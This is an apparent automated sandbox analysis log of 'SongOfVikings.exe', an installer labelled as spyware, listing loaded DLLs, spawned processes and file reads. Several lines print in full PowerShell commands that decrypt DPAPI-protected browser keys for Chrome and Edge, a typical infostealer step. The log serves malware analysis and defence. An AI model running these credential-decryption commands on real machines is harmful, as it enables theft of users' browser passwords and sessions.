Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ffmpeg.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uiautomationcore.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mf.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mfplat.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: rtworkq.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: msmpeg2vdec.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mfperfhelper.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dxva2.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: msvproc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ffmpeg.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uiautomationcore.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: kbdus.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ffmpeg.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uiautomationcore.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: kbdus.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mf.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mfplat.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: rtworkq.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: msmpeg2vdec.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: mfperfhelper.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dxva2.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: msvproc.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3d12.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3d12.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3d12core.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: dxilconv.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: d3dscache.dll
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Section loaded: twinapi.appcore.dll
Source: SongOfVikings.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engine Classification label: mal56.spyw.winEXE@28/110@3/3
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040338F
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00404722 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_00404722
Source: C:\Users\user\Desktop\SongOfVikings.exe Code function: 0_2_00402104 CoCreateInstance, 0_2_00402104
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Programs Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6936:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3104:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8140:120:WilError_03
Source: C:\Users\user\Desktop\SongOfVikings.exe Mutant created: \Sessions\1\BaseNamedObjects\cdf7078b-99f0-53cc-bffc-b945975ddd33
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2836:120:WilError_03
Source: C:\Users\user\Desktop\SongOfVikings.exe File created: C:\Users\user\AppData\Local\Temp\nsyF296.tmp Jump to behavior
Source: SongOfVikings.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\SongOfVikings.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\SongOfVikings.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: SongOfVikings.exe, 00000000.00000003.1836209062.0000000006010000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SELECT name FROM sqlite_master WHERE type='table';
Source: C:\Users\user\Desktop\SongOfVikings.exe File read: C:\Users\user\Desktop\SongOfVikings.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\SongOfVikings.exe "C:\Users\user\Desktop\SongOfVikings.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe"
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1924 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --mojo-platform-channel-handle=2440 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1904 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')" Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe Process created: C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe "C:\Users\user\AppData\Local\Programs\SongOfVikings\SongOfVikings.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\SongOfVikings" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1924 --field-trial-handle=1932,i,8930845270246626881,144407894186871125,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 Jump to behavior
